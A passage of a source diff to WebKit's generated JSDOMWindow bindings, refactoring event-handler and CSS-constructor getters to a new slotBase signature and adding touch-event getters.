+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    UNUSED_PARAM(exec);
+    DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
+    if (EventListener* listener = imp->onpopstate()) {
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnprogress(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnprogress(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onprogress()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnratechange(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnratechange(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onratechange()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnresize(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnresize(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onresize()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnscroll(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnscroll(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onscroll()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnseeked(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnseeked(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onseeked()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnseeking(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnseeking(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onseeking()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnselect(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnselect(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onselect()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnstalled(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnstalled(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onstalled()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnstorage(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnstorage(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onstorage()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnsubmit(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnsubmit(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onsubmit()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnsuspend(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnsuspend(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onsuspend()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOntimeupdate(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOntimeupdate(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->ontimeupdate()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnunload(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnunload(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onunload()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnvolumechange(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnvolumechange(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onvolumechange()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnwaiting(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnwaiting(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onwaiting()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnreset(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnreset(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onreset()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnsearch(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnsearch(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onsearch()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnwebkitanimationend(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnwebkitanimationend(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onwebkitanimationend()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnwebkitanimationiteration(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnwebkitanimationiteration(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onwebkitanimationiteration()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnwebkitanimationstart(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnwebkitanimationstart(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onwebkitanimationstart()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDOMWindowOnwebkittransitionend(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOnwebkittransitionend(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     UNUSED_PARAM(exec);
     DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
     if (EventListener* listener = imp->onwebkittransitionend()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
+    }
+    return jsNull();
+}
+
+#if ENABLE(TOUCH_EVENTS)
+JSValue jsDOMWindowOntouchstart(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    UNUSED_PARAM(exec);
+    DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
+    if (EventListener* listener = imp->ontouchstart()) {
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
+    }
+    return jsNull();
+}
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+JSValue jsDOMWindowOntouchmove(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    UNUSED_PARAM(exec);
+    DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
+    if (EventListener* listener = imp->ontouchmove()) {
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
+    }
+    return jsNull();
+}
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+JSValue jsDOMWindowOntouchend(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    UNUSED_PARAM(exec);
+    DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
+    if (EventListener* listener = imp->ontouchend()) {
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+JSValue jsDOMWindowOntouchcancel(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    UNUSED_PARAM(exec);
+    DOMWindow* imp = static_cast<DOMWindow*>(castedThis->impl());
+    if (EventListener* listener = imp->ontouchcancel()) {
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
+    }
+    return jsNull();
+}
+#endif
 
-JSValue jsDOMWindowStyleSheetConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowStyleSheetConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSStyleSheet::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSStyleSheetConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSStyleSheetConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSStyleSheet::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSValueConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSValueConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSValue::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSPrimitiveValueConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSPrimitiveValueConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSPrimitiveValue::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSValueListConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSValueListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSValueList::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowWebKitCSSTransformValueConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebKitCSSTransformValueConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSWebKitCSSTransformValue::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSRule::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSCharsetRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSCharsetRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSCharsetRule::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSFontFaceRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSFontFaceRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSFontFaceRule::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSImportRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSImportRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSImportRule::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSMediaRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSMediaRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSMediaRule::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSPageRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSPageRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSPageRule::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSStyleRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSStyleRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSStyleRule::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSVariablesRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSVariablesRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSVariablesRule::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSVariablesDeclarationConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSVariablesDeclarationConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCSSVariablesDeclaration::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowCSSStyleDeclarationConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCSSStyleDeclarationConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
